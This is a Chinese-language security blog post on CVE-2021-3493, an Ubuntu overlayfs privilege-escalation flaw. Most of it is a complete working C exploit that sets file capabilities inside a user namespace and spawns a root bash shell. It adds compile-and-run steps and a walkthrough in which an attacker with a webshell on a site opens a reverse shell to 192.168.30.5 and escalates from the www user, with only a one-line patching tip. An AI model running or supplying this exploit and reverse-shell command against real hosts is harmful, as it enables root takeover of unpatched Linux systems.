您的位置 首页 网络安全

CVE-2021-3493 Ubuntu提权

CVE-2021-3493 Ubutnu 一些版本存在本地用户提权至root权限。漏洞是Linux内核中ove…

CVE-2021-3493

Ubutnu 一些版本存在本地用户提权至root权限。漏洞是Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

影响版本

  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM

漏洞复现

测试环境: Ubuntu 16.04 LTS gcc环境

poc文件内容

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
​
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
​
​
#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"
​
​
static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}
​
static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}
​
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;
​
    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);
​
    char buf[4096];
    ssize_t rd, wr;
​
    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }
​
        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }
​
    close(fi);
    close(fo);
}
​
static int exploit()
{
    char buf[4096];
​
    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);
​
    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);
​
    uid_t uid = getuid();
    gid_t gid = getgid();
​
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");
​
    xwritefile("/proc/self/setgroups", "deny");
​
    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);
​
    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);
​
    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);
​
    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
​
    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);
​
    return 0;
}
​
int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }
​
    pid_t child = fork();
    if (child == -1)
        err(1, "fork");
​
    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }
​
    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

漏洞利用

gcc exploit.c -o exploit
chmod +x exploit
./exploit</code>

普通可登录用户测试

www不可登录用户测试

为了方便测试我直接使用了宝塔搭建了web环境,模拟当我们拿到www权限时提权过程

假如你通过某种方式上传了木马文件,可以使用蚁剑连接,将exp文件放在一个可读写的目录下,即权限为777

因为蚁剑的虚拟终端只是webshell,并非我们所需的shell,所以我们可以先反弹一个bash

bash -i >& /dev/tcp/192.168.30.5/3344 0>&1

kali监听,然后使用Ubuntu反弹shell

www提权测试

gcc exploit.c -o exploit
chmod +x exploit
./exploit

尝试使用了阿里云的服务器测试,测试失败,因为内核已经升级

防御建议

更新系统内核版本。详细版本信息请参考供应商的安全公告。

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/1705/
spaceman

作者: spaceman

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...
联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部